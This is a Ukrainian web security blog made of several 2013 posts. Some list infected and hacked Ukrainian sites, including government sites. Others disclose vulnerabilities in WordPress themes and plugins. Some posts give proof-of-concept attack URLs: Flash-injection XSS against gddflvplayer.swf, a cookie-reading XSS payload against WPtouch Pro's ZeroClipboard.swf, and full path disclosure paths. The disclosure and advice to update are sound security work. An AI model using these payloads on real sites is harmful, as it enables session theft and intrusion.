Websecurity - Веб безпека

Після попереднього дослідження інфікованих сайтів, приведу нову інформацію про заражені сайти. З числа українських сайтів.

• http://vipnutrition.com.ua - інфекція була виявлена 11.07.2013. Зараз сайт входить до переліку підозрілих.
• http://screenshot.com.ua - інфекція була виявлена 13.07.2013. Зараз сайт не входить до переліку підозрілих.
• http://rurik.at.ua - інфекція була виявлена 29.06.2013. Зараз сайт входить до переліку підозрілих.
• http://ukrdom.biz - інфекція була виявлена 25.07.2013. Зараз сайт не входить до переліку підозрілих.
• http://skd.vn.ua - інфекція була виявлена 21.07.2013. Зараз сайт входить до переліку підозрілих.
• http://web.kharkov.ua - інфекція була виявлена 22.07.2013. Зараз сайт не входить до переліку підозрілих.
• http://irp.lg.ua - інфекція була виявлена 05.07.2013. Зараз сайт не входить до переліку підозрілих.
• http://vb-agro.org.ua - інфекція була виявлена 22.07.2013. Зараз сайт не входить до переліку підозрілих.
• http://vb-derevo.org.ua - інфекція була виявлена 23.07.2013. Зараз сайт не входить до переліку підозрілих.
• http://buznec.com - інфекція була виявлена 29.06.2013. Зараз сайт не входить до переліку підозрілих.

Сьогодні я виявив Content Spoofing, Cross-Site Scripting та Full path disclosure уразливості в темах для WordPress, що містять GDD FLVPlayer.

Раніше я писав про уразливості в GDD FLVPlayer. Це популярна флешка, що знаходиться на тисячах веб сайтів і яка використовується в багатьох веб додатках.

Цей плеєр міститься в багатьох темах (шаблонах) для WordPress. Серед них I Love It (про дірки в цій темі я вже писав), Megusta, Multipress, Lolzine, V1. Та існують інші уразливі теми для WordPress з gddflvplayer.swf.

XSS (через Flash Injection) (WASC-08):

I Love It:

http://site/wp-content/themes/iloveit/flv/gddflvplayer.swf?mylogo=xss.swf
http://site/wp-content/themes/iloveit/flv/gddflvplayer.swf?splashscreen=xss.swf

Megusta:

http://site/wp-content/themes/megusta/flv/gddflvplayer.swf?mylogo=xss.swf
http://site/wp-content/themes/megusta/flv/gddflvplayer.swf?splashscreen=xss.swf

Multipress:

http://site/wp-content/themes/multipress/flv/gddflvplayer.swf?mylogo=xss.swf
http://site/wp-content/themes/multipress/flv/gddflvplayer.swf?splashscreen=xss.swf

Lolzine:

http://site/wp-content/themes/Lolzine/flv/gddflvplayer.swf?mylogo=xss.swf
http://site/wp-content/themes/Lolzine/flv/gddflvplayer.swf?splashscreen=xss.swf

V1:

http://site/wp-content/themes/v1/flv/gddflvplayer.swf?mylogo=xss.swf
http://site/wp-content/themes/v1/flv/gddflvplayer.swf?splashscreen=xss.swf

Full path disclosure (WASC-13):

Всі зазначені теми мають FPD уразливості в php-файлах (в index.php та інших), що типово для WP тем.

http://site/wp-content/themes/iloveit/

http://site/wp-content/themes/megusta/

http://site/wp-content/themes/multipress/

http://site/wp-content/themes/Lolzine/

http://site/wp-content/themes/v1/

В останній темі шлях може бути v1, v1.0, v1.3.5 та інші варіанти.

Наведені XSS та FPD уразливості, приклади 8 СS уразливостей дивитися у вищенаведеному записі. Вразливі веб додатки, що використовують GDD FLVPlayer v3.635 і попередні версії.

Вразливі всі версії наступних веб додатків: I Love It, Megusta, Multipress, Lolzine, V1.

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://podillyarehab.gov.ua (хакерами з islamic ghosts team) - 31.05.2013 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://www.putivl-rda.gov.ua (хакером Dr.SHA6H) - 13.07.2013 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://www.ndippp.gov.ua (хакером Dr.SHA6H) - 25.07.2013 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://www.yuna.ua (хакером RBG HomS)
• http://visnik-press.com.ua (хакером RBG HomS) - 21.08.2013, зараз сайт вже виправлений адмінами

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах Comment Extra Fields, Booking Calendar та Usernoise. Для котрих з’явилися експлоіти. Comment Extra Fields - це плагін для додавання нових полів в форму коментарів, Booking Calendar - це плагін для створення календаря замовлень, Usernoise - це контактна форма.

• WordPress Comment Extra Fields 1.7 CSRF / XSS (деталі)
• Booking Calendar 4.1.4 Cross Site Request Forgery (деталі)
• WordPress Usernoise 3.7.8 Cross Site Scripting (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

Після попереднього дослідження інфікованих сайтів, приведу нову інформацію про заражені сайти. З числа українських сайтів.

• http://masterdrev.com.ua - інфекція була виявлена 17.07.2013. Зараз сайт входить до переліку підозрілих.
• http://kievboard.com - інфекція була виявлена 03.07.2013. Зараз сайт не входить до переліку підозрілих.
• http://basic.at.ua - інфекція була виявлена 29.06.2013. Зараз сайт входить до переліку підозрілих.
• http://mycounter.ua - інфекція була виявлена 15.08.2013. Зараз сайт не входить до переліку підозрілих.
• http://mycounter.com.ua - інфекція була виявлена 18.07.2013. Зараз сайт не входить до переліку підозрілих.

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах FlagEm, Duplicator та Bit51 Better WP Security. Для котрих з’явилися експлоіти. FlagEm - це плагін для встановлення флагів, Duplicator - це плагін для клонування сайта, Bit51 Better WP Security - це плагін для захисту сайта.

• WordPress FlagEm Cross Site Scripting (деталі)
• WordPress Duplicator 0.4.4 Cross Site Scripting (деталі)
• Bit51 Better WP Security Plugin XSS / Command Execution (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

Після попереднього дослідження похаканих сайтів, приведу нову інформацію про взломані сайти. З числа українських сайтів.

• http://www.lr-pl.gov.ua (хакером Dr.SHA6H) - 21.06.2013 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://perechyn-rada.gov.ua (хакером Dr.HaCkEr) - 24.06.2013 - похаканий державний сайт, зараз сайт вже виправлений адмінами
• http://ovsyanukivka.org.ua (хакером Algerian To The Core) - 29.03.2013, зараз сайт вже виправлений адмінами
• http://lifefree.com.ua (хакером HACKROOT) - 02.08.2013, зараз сайт вже виправлений адмінами
• http://big-heart.com.ua (хакером HACKROOT) - 04.08.2013, зараз сайт вже виправлений адмінами

Після попереднього дослідження інфікованих сайтів, приведу нову інформацію про заражені сайти. З числа українських сайтів.

• http://crimea.gov.ua - інфікований державний сайт - інфекція була виявлена 03.07.2013. Зараз сайт не входить до переліку підозрілих.
• http://s-format.com.ua - інфекція була виявлена 04.08.2013. Зараз сайт входить до переліку підозрілих.
• http://windelectric.ua - інфекція була виявлена 12.06.2013. Зараз сайт входить до переліку підозрілих.
• http://windelectric.kiev.ua - інфекція була виявлена 08.06.2013. Зараз сайт входить до переліку підозрілих.
• http://vestrum.com.ua - інфекція була виявлена 02.07.2013. Зараз сайт не входить до переліку підозрілих.

17.04.2013

У березні, 15.03.2013, я виявив Cross-Site Scripting та Full path disclosure уразливості в плагінах WPtouch і WPtouch Pro для WordPress. Про що найближчим часом повідомлю розробникам.

Стосовно плагінів для WordPress раніше я писав про уразливості в Search and Share для WordPress.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам.

03.08.2013

Cross-Site Scripting (WASC-08):

XSS через параметр id та XSS через копіювання атакуючого коду в буфер обміну.

http://site/wp-content/plugins/wptouch-pro/admin/js/ZeroClipboard.swf?id=%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

Full path disclosure (WASC-13):

http://site/wp-content/plugins/wptouch/wptouch.php
http://site/wp-content/plugins/wptouch-pro/wptouch-pro.php

Та інші php-файли в папці плагіна та підпапках.

http://site/wp-content/plugins/wptouch/error_log
http://site/wp-content/plugins/wptouch-pro/error_log

В папці плагіна та підпапках (на сайтах, де відключене виведення помилок в php-файлах і вони записуються в error_log).

Уразливі всі версії WPtouch і WPtouch Pro для WordPress.

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах JS Restaurant, Spicy Blogroll та WooCommerce. Для котрих з’явилися експлоіти. JS Restaurant - це плагін для замовлення столику в ресторані, Spicy Blogroll - це плагін для покращення списку блогів, WooCommerce - це е-комерс плагін для створення онлайн-магазину.

• WordPress JS Restaurant SQL Injection (деталі)
• WordPress Spicy Blogroll Local File Inclusion (деталі)
• WordPress WooCommerce 2.0.12 Cross Site Scripting (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.